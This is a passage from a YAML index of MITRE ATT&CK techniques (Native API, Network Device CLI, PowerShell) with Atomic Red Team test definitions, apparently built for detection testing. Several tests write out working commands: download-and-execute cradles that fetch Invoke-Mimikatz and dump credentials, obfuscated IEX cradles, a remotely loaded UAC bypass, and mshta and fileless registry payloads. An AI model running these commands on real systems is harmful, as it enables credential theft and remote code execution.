      - source_name: NT API Windows
        url: https://undocumented.ntinternals.net/
        description: The NTinterlnals.net team. (n.d.). Nowak, T. Retrieved June 25,
          2020.
      - source_name: Linux Kernel API
        url: https://www.kernel.org/doc/html/v4.12/core-api/kernel-api.html
        description: Linux Kernel Organization, Inc. (n.d.). The Linux Kernel API.
          Retrieved June 25, 2020.
      - url: http://msdn.microsoft.com/en-us/library/ms682425
        description: Microsoft. (n.d.). CreateProcess function. Retrieved December
          5, 2014.
        source_name: Microsoft CreateProcess
      - source_name: GNU Fork
        url: https://www.gnu.org/software/libc/manual/html_node/Creating-a-Process.html
        description: Free Software Foundation, Inc.. (2020, June 18). Creating a Process.
          Retrieved June 25, 2020.
      - source_name: Microsoft Win32
        url: https://docs.microsoft.com/en-us/windows/win32/api/
        description: Microsoft. (n.d.). Programming reference for the Win32 API. Retrieved
          March 15, 2020.
      - source_name: LIBC
        url: https://man7.org/linux/man-pages//man7/libc.7.html
        description: Kerrisk, M. (2016, December 12). libc(7) — Linux manual page.
          Retrieved June 25, 2020.
      - source_name: GLIBC
        url: https://www.gnu.org/software/libc/
        description: glibc developer community. (2020, February 1). The GNU C Library
          (glibc). Retrieved June 25, 2020.
      - source_name: Microsoft NET
        url: https://dotnet.microsoft.com/learn/dotnet/what-is-dotnet-framework
        description: Microsoft. (n.d.). What is .NET Framework?. Retrieved March 15,
          2020.
      - source_name: Apple Core Services
        url: https://developer.apple.com/documentation/coreservices
        description: Apple. (n.d.). Core Services. Retrieved June 25, 2020.
      - source_name: MACOS Cocoa
        url: https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/OSX_Technology_Overview/CocoaApplicationLayer/CocoaApplicationLayer.html#//apple_ref/doc/uid/TP40001067-CH274-SW1
        description: Apple. (2015, September 16). Cocoa Application Layer. Retrieved
          June 25, 2020.
      - source_name: macOS Foundation
        url: https://developer.apple.com/documentation/foundation
        description: Apple. (n.d.). Foundation. Retrieved July 1, 2020.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: execution
      modified: '2020-07-01T16:19:54.646Z'
      created: '2017-05-31T21:31:17.472Z'
      x_mitre_platforms:
      - Windows
      - macOS
      - Linux
      x_mitre_remote_support: false
      x_mitre_permissions_required:
      - User
      x_mitre_detection: "Monitoring API calls may generate a significant amount of
        data and may not be useful for defense unless collected under specific circumstances,
        since benign use of API functions are common and difficult to distinguish
        from malicious behavior. Correlation of other events with behavior surrounding
        API function calls using API monitoring will provide additional context to
        an event that may assist in determining if it is due to malicious behavior.
        Correlation of activity by process lineage by process ID may be sufficient.
        \n\nUtilization of the Windows API may involve processes loading/accessing
        system DLLs associated with providing called functions (ex: kernel32.dll,
        advapi32.dll, user32.dll, and gdi32.dll). Monitoring for DLL loads, especially
        to abnormal/unusual or potentially malicious processes, may indicate abuse
        of the Windows API. Though noisy, this data can be combined with other indicators
        to identify adversary activity. "
      x_mitre_data_sources:
      - 'Process: OS API Execution'
      - 'Module: Module Load'
      x_mitre_contributors:
      - Stefan Kanthak
      x_mitre_version: '2.0'
      x_mitre_is_subtechnique: false
      identifier: T1106
    atomic_tests:
    - name: Execution through API - CreateProcess
      auto_generated_guid: 99be2089-c52d-4a4a-b5c3-261ee42c8b62
      description: Execute program by leveraging Win32 API's. By default, this will
        launch calc.exe from the command prompt.
      supported_platforms:
      - windows
      input_arguments:
        source_file:
          description: Location of the CSharp source file to compile and execute
          type: Path
          default: PathToAtomicsFolder\T1106\src\CreateProcess.cs
        output_file:
          description: Location of the payload
          type: Path
          default: "%tmp%\\T1106.exe"
      executor:
        command: |
          C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /out:"#{output_file}" /target:exe #{source_file}
          %tmp%/T1106.exe
        name: command_prompt
  T1059.008:
    technique:
      id: attack-pattern--818302b2-d640-477b-bf88-873120ce85c4
      description: "Adversaries may abuse scripting or built-in command line interpreters
        (CLI) on network devices to execute malicious command and payloads. The CLI
        is the primary means through which users and administrators interact with
        the device in order to view system information, modify device operations,
        or perform diagnostic and administrative functions. CLIs typically contain
        various permission levels required for different commands. \n\nScripting interpreters
        automate tasks and extend functionality beyond the command set included in
        the network OS. The CLI and scripting interpreter are accessible through a
        direct console connection, or through remote means, such as telnet or secure
        shell (SSH).\n\nAdversaries can use the network CLI to change how network
        devices behave and operate. The CLI may be used to manipulate traffic flows
        to intercept or manipulate data, modify startup configuration parameters to
        load malicious system software, or to disable security features or logging
        to avoid detection. (Citation: Cisco Synful Knock Evolution)"
      name: Network Device CLI
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1059.008
        url: https://attack.mitre.org/techniques/T1059/008
      - source_name: Cisco Synful Knock Evolution
        url: https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices
        description: Graham Holmes. (2015, October 8). Evolution of attacks on Cisco
          IOS devices. Retrieved October 19, 2020.
      - source_name: Cisco IOS Software Integrity Assurance - Command History
        url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#23
        description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Command
          History. Retrieved October 21, 2020.
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: execution
      modified: '2020-10-22T16:43:38.388Z'
      created: '2020-10-20T00:09:33.072Z'
      x_mitre_data_sources:
      - 'Command: Command Execution'
      x_mitre_platforms:
      - Network
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_detection: |-
        Consider reviewing command history in either the console or as part of the running memory to determine if unauthorized or suspicious commands were used to modify device configuration.(Citation: Cisco IOS Software Integrity Assurance - Command History)

        Consider comparing a copy of the network device configuration against a known-good version to discover unauthorized changes to the command interpreter. The same process can be accomplished through a comparison of the run-time memory, though this is non-trivial and may require assistance from the vendor.
      x_mitre_permissions_required:
      - Administrator
      - User
    atomic_tests: []
  T1059.001:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1059.001
        url: https://attack.mitre.org/techniques/T1059/001
      - url: https://technet.microsoft.com/en-us/scriptcenter/dd742419.aspx
        description: Microsoft. (n.d.). Windows PowerShell Scripting. Retrieved April
          28, 2016.
        source_name: TechNet PowerShell
      - url: https://github.com/jaredhaight/PSAttack
        description: Haight, J. (2016, April 21). PS>Attack. Retrieved June 1, 2016.
        source_name: Github PSAttack
      - source_name: Sixdub PowerPick Jan 2016
        url: http://www.sixdub.net/?p=367
        description: Warner, J.. (2015, January 6). Inexorable PowerShell – A Red
          Teamer’s Tale of Overcoming Simple AppLocker Policies. Retrieved December
          8, 2018.
      - source_name: SilentBreak Offensive PS Dec 2015
        url: https://silentbreaksecurity.com/powershell-jobs-without-powershell-exe/
        description: Christensen, L.. (2015, December 28). The Evolution of Offensive
          PowerShell Invocation. Retrieved December 8, 2018.
      - source_name: Microsoft PSfromCsharp APR 2014
        url: https://blogs.msdn.microsoft.com/kebab/2014/04/28/executing-powershell-scripts-from-c/
        description: Babinec, K. (2014, April 28). Executing PowerShell scripts from
          C#. Retrieved April 22, 2019.
      - url: http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf
        description: Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING
          CHEAT SHEET - Win 7/Win 2008 or later. Retrieved June 24, 2016.
        source_name: Malware Archaeology PowerShell Cheat Sheet
      - url: https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html
        description: Dunwoody, M. (2016, February 11). GREATER VISIBILITY THROUGH
          POWERSHELL LOGGING. Retrieved February 16, 2016.
        source_name: FireEye PowerShell Logging 2016
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: PowerShell
      description: |-
        Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the <code>Start-Process</code> cmdlet which can be used to run an executable and the <code>Invoke-Command</code> cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).

        PowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.

        A number of PowerShell-based offensive testing tools are available, including [Empire](https://attack.mitre.org/software/S0363),  [PowerSploit](https://attack.mitre.org/software/S0194), [PoshC2](https://attack.mitre.org/software/S0378), and PSAttack.(Citation: Github PSAttack)

        PowerShell commands/scripts can also be executed without directly invoking the <code>powershell.exe</code> binary through interfaces to PowerShell's underlying <code>System.Management.Automation</code> assembly DLL exposed through the .NET framework and Windows Common Language Interface (CLI). (Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015)(Citation: Microsoft PSfromCsharp APR 2014)
      id: attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: execution
      modified: '2020-06-24T13:51:22.360Z'
      created: '2020-03-09T13:48:55.078Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - User
      - Administrator
      x_mitre_remote_support: true
      x_mitre_detection: |-
        If proper execution policy is set, adversaries will likely be able to define their own execution policy if they obtain administrator or system access, either through the Registry or at the command line. This change in policy on a system may be a way to detect malicious use of PowerShell. If PowerShell is not used in an environment, then simply looking for PowerShell execution may detect malicious activity.

        Monitor for loading and/or execution of artifacts associated with PowerShell specific assemblies, such as System.Management.Automation.dll (especially to unusual process names/locations).(Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015)

        It is also beneficial to turn on PowerShell logging to gain increased fidelity in what occurs during execution (which is applied to .NET invocations). (Citation: Malware Archaeology PowerShell Cheat Sheet) PowerShell 5.0 introduced enhanced logging capabilities, and some of those features have since been added to PowerShell 4.0. Earlier versions of PowerShell do not have many logging features.(Citation: FireEye PowerShell Logging 2016) An organization can gather PowerShell execution details in a data analytic platform to supplement it with other data.
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Module: Module Load'
      - 'Process: Process Creation'
      - 'Script: Script Execution'
      x_mitre_contributors:
      - Praetorian
      x_mitre_platforms:
      - Windows
      identifier: T1059.001
    atomic_tests:
    - name: Mimikatz
      auto_generated_guid: f3132740-55bc-48c4-bcc0-758a459cd027
      description: 'Download Mimikatz and dump credentials. Upon execution, mimikatz
        dump details and password hashes will be displayed.

'
      supported_platforms:
      - windows
      input_arguments:
        mimurl:
          description: Mimikatz url
          type: Url
          default: https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1
      executor:
        command: 'powershell.exe "IEX (New-Object Net.WebClient).DownloadString(''#{mimurl}'');
          Invoke-Mimikatz -DumpCreds"

'
        name: command_prompt
        elevation_required: true
    - name: Run BloodHound from local disk
      auto_generated_guid: a21bb23e-e677-4ee7-af90-6931b57b6350
      description: |
        Upon execution SharpHound will be downloaded to disk, imported and executed. It will set up collection methods, run and then compress and store the data to the temp directory on the machine. If system is unable to contact a domain, proper execution will not occur.

        Successful execution will produce stdout message stating "SharpHound Enumeration Completed". Upon completion, final output will be a *BloodHound.zip file.
      supported_platforms:
      - windows
      input_arguments:
        file_path:
          description: File path for SharpHound payload
          type: String
          default: PathToAtomicsFolder\T1059.001\src
      dependency_executor_name: powershell
      dependencies:
      - description: 'SharpHound.ps1 must be located at #{file_path}

'
        prereq_command: 'if (Test-Path #{file_path}\SharpHound.ps1) {exit 0} else
          {exit 1}

'
        get_prereq_command: 'Invoke-WebRequest "https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1"
          -OutFile "#{file_path}\SharpHound.ps1"

'
      executor:
        command: |
          write-host "Import and Execution of SharpHound.ps1 from #{file_path}" -ForegroundColor Cyan
          import-module #{file_path}\SharpHound.ps1
          Invoke-BloodHound -OutputDirectory $env:Temp
          Start-Sleep 5
        cleanup_command: 'Remove-Item $env:Temp\*BloodHound.zip -Force

'
        name: powershell
    - name: Run Bloodhound from Memory using Download Cradle
      auto_generated_guid: bf8c1441-4674-4dab-8e4e-39d93d08f9b7
      description: |
        Upon execution SharpHound will load into memory and execute against a domain. It will set up collection methods, run and then compress and store the data to the temp directory. If system is unable to contact a domain, proper execution will not occur.

        Successful execution will produce stdout message stating "SharpHound Enumeration Completed". Upon completion, final output will be a *BloodHound.zip file.
      supported_platforms:
      - windows
      executor:
        command: |
          write-host "Remote download of SharpHound.ps1 into memory, followed by execution of the script" -ForegroundColor Cyan
          IEX (New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1');
          Invoke-BloodHound -OutputDirectory $env:Temp
          Start-Sleep 5
        cleanup_command: 'Remove-Item $env:Temp\*BloodHound.zip -Force

'
        name: powershell
    - name: Obfuscation Tests
      auto_generated_guid: 4297c41a-8168-4138-972d-01f3ee92c804
      description: 'Different obfuscated methods to test. Upon execution, reaches
        out to bit.ly/L3g1t and displays: "SUCCESSFULLY EXECUTED POWERSHELL CODE FROM
        REMOTE LOCATION"

'
      supported_platforms:
      - windows
      executor:
        command: |
          (New-Object Net.WebClient).DownloadFile('http://bit.ly/L3g1tCrad1e','Default_File_Path.ps1');IEX((-Join([IO.File]::ReadAllBytes('Default_File_Path.ps1')|ForEach-Object{[Char]$_})))
          (New-Object Net.WebClient).DownloadFile('http://bit.ly/L3g1tCrad1e','Default_File_Path.ps1');[ScriptBlock]::Create((-Join([IO.File]::ReadAllBytes('Default_File_Path.ps1')|ForEach-Object{[Char]$_}))).InvokeReturnAsIs()
          Set-Variable HJ1 'http://bit.ly/L3g1tCrad1e';SI Variable:/0W 'Net.WebClient';Set-Item Variable:\gH 'Default_File_Path.ps1';ls _-*;Set-Variable igZ (.$ExecutionContext.InvokeCommand.(($ExecutionContext.InvokeCommand.PsObject.Methods|?{$_.Name-like'*Cm*t'}).Name).Invoke($ExecutionContext.InvokeCommand.(($ExecutionContext.InvokeCommand|GM|?{$_.Name-like'*om*e'}).Name).Invoke('*w-*ct',$TRUE,1))(Get-ChildItem Variable:0W).Value);Set-Variable J ((((Get-Variable igZ -ValueOn)|GM)|?{$_.Name-like'*w*i*le'}).Name);(Get-Variable igZ -ValueOn).((ChildItem Variable:J).Value).Invoke((Get-Item Variable:/HJ1).Value,(GV gH).Value);&( ''.IsNormalized.ToString()[13,15,48]-Join'')(-Join([Char[]](CAT -Enco 3 (GV gH).Value)))
        name: powershell
    - name: Mimikatz - Cradlecraft PsSendKeys
      auto_generated_guid: af1800cf-9f9d-4fd1-a709-14b1e6de020d
      description: 'Run mimikatz via PsSendKeys. Upon execution, automated actions
        will take place to open file explorer, open notepad and input code, then mimikatz
        dump info will be displayed.

'
      supported_platforms:
      - windows
      executor:
        command: "$url='https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1';$wshell=New-Object
          -ComObject WScript.Shell;$reg='HKCU:\\Software\\Microsoft\\Notepad';$app='Notepad';$props=(Get-ItemProperty
          $reg);[Void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');@(@('iWindowPosY',([String]([System.Windows.Forms.Screen]::AllScreens)).Split('}')[0].Split('=')[5]),@('StatusBar',0))|ForEach{SP
          $reg (Item Variable:_).Value[0] (Variable _).Value[1]};$curpid=$wshell.Exec($app).ProcessID;While(!($title=GPS|?{(Item
          Variable:_).Value.id-ieq$curpid}|ForEach{(Variable _).Value.MainWindowTitle})){Start-Sleep
          -Milliseconds 500};While(!$wshell.AppActivate($title)){Start-Sleep -Milliseconds
          500};$wshell.SendKeys('^o');Start-Sleep -Milliseconds 500;@($url,(' '*1000),'~')|ForEach{$wshell.SendKeys((Variable
          _).Value)};$res=$Null;While($res.Length -lt 2){[Windows.Forms.Clipboard]::Clear();@('^a','^c')|ForEach{$wshell.SendKeys((Item
          Variable:_).Value)};Start-Sleep -Milliseconds 500;$res=([Windows.Forms.Clipboard]::GetText())};[Windows.Forms.Clipboard]::Clear();@('%f','x')|ForEach{$wshell.SendKeys((Variable
          _).Value)};If(GPS|?{(Item Variable:_).Value.id-ieq$curpid}){@('{TAB}','~')|ForEach{$wshell.SendKeys((Item
          Variable:_).Value)}};@('iWindowPosDY','iWindowPosDX','iWindowPosY','iWindowPosX','StatusBar')|ForEach{SP
          $reg (Item Variable:_).Value $props.((Variable _).Value)};IEX($res);invoke-mimikatz
          -dumpcr\n"
        name: powershell
        elevation_required: true
    - name: Invoke-AppPathBypass
      auto_generated_guid: 06a220b6-7e29-4bd8-9d07-5b4d86742372
      description: |
        Note: Windows 10 only. Upon execution windows backup and restore window will be opened.

        Bypass is based on: https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/
      supported_platforms:
      - windows
      executor:
        command: 'Powershell.exe "IEX (New-Object Net.WebClient).DownloadString(''https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/a0dfca7056ef20295b156b8207480dc2465f94c3/Invoke-AppPathBypass.ps1'');
          Invoke-AppPathBypass -Payload ''C:\Windows\System32\cmd.exe''"

'
        name: command_prompt
    - name: Powershell MsXml COM object - with prompt
      auto_generated_guid: 388a7340-dbc1-4c9d-8e59-b75ad8c6d5da
      description: |
        Powershell MsXml COM object. Not proxy aware, removing cache although does not appear to write to those locations. Upon execution, "Download Cradle test success!" will be displayed.

        Provided by https://github.com/mgreen27/mgreen27.github.io
      supported_platforms:
      - windows
      input_arguments:
        url:
          description: url of payload to execute
          type: Url
          default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.001/src/test.ps1
      executor:
        command: 'powershell.exe -exec bypass -noprofile "$comMsXml=New-Object -ComObject
          MsXml2.ServerXmlHttp;$comMsXml.Open(''GET'',''#{url}'',$False);$comMsXml.Send();IEX
          $comMsXml.ResponseText"

'
        name: command_prompt
    - name: Powershell XML requests
      auto_generated_guid: 4396927f-e503-427b-b023-31049b9b09a6
      description: |
        Powershell xml download request. Upon execution, "Download Cradle test success!" will be dispalyed.

        Provided by https://github.com/mgreen27/mgreen27.github.io
      supported_platforms:
      - windows
      input_arguments:
        url:
          description: url of payload to execute
          type: Url
          default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.001/src/test.xml
      executor:
        command: '"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec
          bypass -noprofile "$Xml = (New-Object System.Xml.XmlDocument);$Xml.Load(''#{url}'');$Xml.command.a.execute
          | IEX"

'
        name: command_prompt
    - name: Powershell invoke mshta.exe download
      auto_generated_guid: 8a2ad40b-12c7-4b25-8521-2737b0a415af
      description: |
        Powershell invoke mshta to download payload. Upon execution, a new PowerShell window will be opened which will display "Download Cradle test success!".

        Provided by https://github.com/mgreen27/mgreen27.github.io
      supported_platforms:
      - windows
      input_arguments:
        url:
          description: url of payload to execute
          type: Url
          default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.001/src/mshta.sct
      executor:
        command: 'C:\Windows\system32\cmd.exe /c "mshta.exe javascript:a=GetObject(''script:#{url}'').Exec();close()"

'
        name: command_prompt
    - name: Powershell Invoke-DownloadCradle
      auto_generated_guid: cc50fa2a-a4be-42af-a88f-e347ba0bf4d7
      description: |
        Provided by https://github.com/mgreen27/mgreen27.github.io
        Invoke-DownloadCradle is used to generate Network and Endpoint artifacts.
      supported_platforms:
      - windows
      executor:
        steps: |
          1. Open Powershell_ise as a Privileged Account
          2. Invoke-DownloadCradle.ps1
        name: manual
    - name: PowerShell Fileless Script Execution
      auto_generated_guid: fa050f5e-bc75-4230-af73-b6fd7852cd73
      description: |
        Execution of a PowerShell payload from the Windows Registry similar to that seen in fileless malware infections. Upon exection, open "C:\Windows\Temp" and verify that
        art-marker.txt is in the folder.
      supported_platforms:
      - windows
      executor:
        command: |
          # Encoded payload in next command is the following "Set-Content -path "$env:SystemRoot/Temp/art-marker.txt" -value "Hello from the Atomic Red Team""
          reg.exe add "HKEY_CURRENT_USER\Software\Classes\AtomicRedTeam" /v ART /t REG_SZ /d "U2V0LUNvbnRlbnQgLXBhdGggIiRlbnY6U3lzdGVtUm9vdC9UZW1wL2FydC1tYXJrZXIudHh0IiAtdmFsdWUgIkhlbGxvIGZyb20gdGhlIEF0b21pYyBSZWQgVGVhbSI="
          iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\AtomicRedTeam').ART)))
        cleanup_command: |
          Remove-Item -path C:\Windows\Temp\art-marker.txt -Force -ErrorAction Ignore
          Remove-Item HKCU:\Software\Classes\AtomicRedTeam -Force -ErrorAction Ignore
        name: powershell
        elevation_required: true
    - name: PowerShell Downgrade Attack
      auto_generated_guid: 9148e7c4-9356-420e-a416-e896e9c0f73e
      description: |
        This test requires the manual installation of PowerShell V2.

        Attempts to run powershell commands in version 2.0 https://www.leeholmes.com/blog/2017/03/17/detecting-and-preventing-powershell-downgrade-attacks/
      supported_platforms:
      - windows
      dependencies:
      - description: 'PowerShell version 2 must be installed

'
        prereq_command: 'if(2 -in $PSVersionTable.PSCompatibleVersions.Major) {exit
          0} else {exit 1}

'
        get_prereq_command: 'Write-Host  Automated installer not implemented yet,
          please install PowerShell v2 manually

'
      executor:
        command: 'powershell.exe -version 2 -Command Write-Host $PSVersion

'
        name: powershell
    - name: NTFS Alternate Data Stream Access
      auto_generated_guid: 8e5c5532-1181-4c1d-bb79-b3a9f5dbd680
      description: 'Creates a file with an alternate data stream and simulates executing
        that hidden code/file. Upon execution, "Stream Data Executed" will be displayed.

'
      supported_platforms:
      - windows
      input_arguments:
        ads_file:
          description: File created to store Alternate Stream Data
          type: String
          default: "$env:TEMP\\NTFS_ADS.txt"
      dependencies:
      - description: 'Homedrive must be an NTFS drive

'
        prereq_command: 'if((Get-Volume -DriveLetter $env:HOMEDRIVE[0]).FileSystem
          -contains "NTFS") {exit 0} else {exit 1}

'
        get_prereq_command: 'Write-Host Prereq''s for this test cannot be met automatically

'
      executor:
        name: powershell
        command: |
          Add-Content -Path #{ads_file} -Value 'Write-Host "Stream Data Executed"' -Stream 'streamCommand'
          $streamcommand = Get-Content -Path #{ads_file} -Stream 'streamcommand'
          Invoke-Expression $streamcommand
        cleanup_command: 'Remove-Item #{ads_file} -Force -ErrorAction Ignore

'
    - name: PowerShell Session Creation and Use
      auto_generated_guid: 7c1acec2-78fa-4305-a3e0-db2a54cddecd
      description: |
        Connect to a remote powershell session and interact with the host.
        Upon execution, network test info and 'T1086 PowerShell Session Creation and Use' will be displayed.
      supported_platforms:
      - windows
      input_arguments:
        hostname_to_connect:
          description: The host to connect to, by default it will connect to the local
            machine
          type: String
          default: "$env:COMPUTERNAME"
      dependencies:
      - description: 'PSRemoting must be enabled

'
        prereq_command: "Try {\n    New-PSSession -ComputerName #{hostname_to_connect}
          -ErrorAction Stop | Out-Null\n    exit 0\n} \nCatch {\n    exit 1\n}\n"
        get_prereq_command: 'Enable-PSRemoting

'
      executor:
        name: powershell
        elevation_required: true
        command: |
          New-PSSession -ComputerName #{hostname_to_connect}
          Test-Connection $env:COMPUTERNAME
          Set-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use -Value "T1086 PowerShell Session Creation and Use"
          Get-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
          Remove-Item -Force $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
    - name: ATHPowerShellCommandLineParameter -Command parameter variations
      auto_generated_guid: 686a9785-f99b-41d4-90df-66ed515f81d7
      description: Executes powershell.exe with variations of the -Command parameter
      supported_platforms:
      - windows
      input_arguments:
        command_line_switch_type:
          description: The type of supported command-line switch to use
          type: String
          default: Hyphen
        command_param_variation:
          description: The "Command" parameter variation to use
          type: String
          default: C
      dependencies:
      - description: The AtomicTestHarnesses module must be installed and Out-ATHPowerShellCommandLineParameter
          must be exported in the module.
        prereq_command: |-
          $RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
          if (-not $RequiredModule) {exit 1}
          if (-not $RequiredModule.ExportedCommands['Out-ATHPowerShellCommandLineParameter']) {exit 1} else {exit 0}
        get_prereq_command: 'Install-Module -Name AtomicTestHarnesses -Scope CurrentUser
          -Force

'
      executor:
        command: 'Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type}
          -CommandParamVariation #{command_param_variation} -Execute -ErrorAction
          Stop'
        name: powershell
    - name: ATHPowerShellCommandLineParameter -Command parameter variations with encoded
        arguments
      auto_generated_guid: 1c0a870f-dc74-49cf-9afc-eccc45e58790
      description: Executes powershell.exe with variations of the -Command parameter
        with encoded arguments supplied
      supported_platforms:
      - windows
      input_arguments:
        command_line_switch_type:
          description: The type of supported command-line switch to use
          type: String
          default: Hyphen
        command_param_variation:
          description: The "Command" parameter variation to use
          type: String
          default: C
        encoded_arguments_param_variation:
          description: The "EncodedArguments" parameter variation to use
          type: String
          default: EA
      dependencies:
      - description: The AtomicTestHarnesses module must be installed and Out-ATHPowerShellCommandLineParameter
          must be exported in the module.
        prereq_command: |-
          $RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
          if (-not $RequiredModule) {exit 1}
          if (-not $RequiredModule.ExportedCommands['Out-ATHPowerShellCommandLineParameter']) {exit 1} else {exit 0}
        get_prereq_command: 'Install-Module -Name AtomicTestHarnesses -Scope CurrentUser
          -Force

'
      executor:
        command: 'Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type}
          -CommandParamVariation #{command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation
          #{encoded_arguments_param_variation} -Execute -ErrorAction Stop'
        name: powershell
    - name: ATHPowerShellCommandLineParameter -EncodedCommand parameter variations
      auto_generated_guid: 86a43bad-12e3-4e85-b97c-4d5cf25b95c3
      description: Executes powershell.exe with variations of the -EncodedCommand
        parameter
      supported_platforms:
      - windows
      input_arguments:
        command_line_switch_type:
          description: The type of supported command-line switch to use
          type: String
          default: Hyphen
        encoded_command_param_variation:
          description: The "EncodedCommand" parameter variation to use
          type: String
          default: E
      dependencies:
      - description: The AtomicTestHarnesses module must be installed and Out-ATHPowerShellCommandLineParameter
          must be exported in the module.
        prereq_command: |-
          $RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
          if (-not $RequiredModule) {exit 1}
          if (-not $RequiredModule.ExportedCommands['Out-ATHPowerShellCommandLineParameter']) {exit 1} else {exit 0}
        get_prereq_command: 'Install-Module -Name AtomicTestHarnesses -Scope CurrentUser
          -Force

'
      executor:
        command: 'Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type}
          -EncodedCommandParamVariation #{encoded_command_param_variation} -Execute
          -ErrorAction Stop'
        name: powershell
    - name: ATHPowerShellCommandLineParameter -EncodedCommand parameter variations
        with encoded arguments
      auto_generated_guid: 0d181431-ddf3-4826-8055-2dbf63ae848b
      description: Executes powershell.exe with variations of the -EncodedCommand
        parameter with encoded arguments supplied
      supported_platforms:
      - windows
      input_arguments:
        encoded_command_param_variation:
          description: The "EncodedCommand" parameter variation to use
          type: String
          default: E
        command_line_switch_type:
          description: The type of supported command-line switch to use
          type: String
          default: Hyphen
        encoded_arguments_param_variation:
          description: The "EncodedArguments" parameter variation to use
          type: String
          default: EncodedArguments
      dependencies:
      - description: The AtomicTestHarnesses module must be installed and Out-ATHPowerShellCommandLineParameter
          must be exported in the module.
        prereq_command: |-
          $RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
          if (-not $RequiredModule) {exit 1}
          if (-not $RequiredModule.ExportedCommands['Out-ATHPowerShellCommandLineParameter']) {exit 1} else {exit 0}
        get_prereq_command: 'Install-Module -Name AtomicTestHarnesses -Scope CurrentUser
          -Force

'
      executor:
        command: 'Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type}
          -EncodedCommandParamVariation #{encoded_command_param_variation} -UseEncodedArguments
          -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute
          -ErrorAction Stop'
        name: powershell
    - name: PowerShell Command Execution
      auto_generated_guid: a538de64-1c74-46ed-aa60-b995ed302598
      description: 'Use of obfuscated PowerShell to execute an arbitrary command;
        outputs "Hello, from PowerShell!". Example is from the 2021 Threat Detection
        Report by Red Canary.

'
      supported_platforms:
      - windows
      input_arguments:
        obfuscated_code:
          description: 'Defaults to: Invoke-Expression with a "Write-Host" line.'
          type: String
          default: JgAgACgAZwBjAG0AIAAoACcAaQBlAHsAMAB9ACcAIAAtAGYAIAAnAHgAJwApACkAIAAoACIAVwByACIAKwAiAGkAdAAiACsAIgBlAC0ASAAiACsAIgBvAHMAdAAgACcASAAiACsAIgBlAGwAIgArACIAbABvACwAIABmAHIAIgArACIAbwBtACAAUAAiACsAIgBvAHcAIgArACIAZQByAFMAIgArACIAaAAiACsAIgBlAGwAbAAhACcAIgApAA==
      executor:
        command: 'powershell.exe -e  #{obfuscated_code}

'
        name: command_prompt
    - name: PowerShell Invoke Known Malicious Cmdlets
      auto_generated_guid: 49eb9404-5e0f-4031-a179-b40f7be385e3
      description: Powershell execution of known Malicious PowerShell Cmdlets
      supported_platforms:
      - windows
      input_arguments:
